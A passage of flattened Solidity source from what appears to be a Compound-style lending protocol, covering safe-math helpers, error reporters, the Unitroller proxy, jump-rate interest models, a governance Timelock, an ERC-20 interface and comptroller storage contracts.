require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } }pragma solidity ^0.5.16; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } }pragma solidity ^0.5.16; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's JumpRateModel Contract * @author Compound */ contract JumpRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } } pragma solidity ^0.5.16; import "./SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's JumpRateModel Contract V2 * @author Compound (modified by Dharma Labs) * @notice Version 2 modifies Version 1 by enabling updateable parameters. */ contract JumpRateModelV2 is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly */ address public owner; /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) public { owner = owner_; updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock) * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external { require(msg.sender == owner, "only the owner may call this function."); updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } /** * @notice Internal function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_)); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; 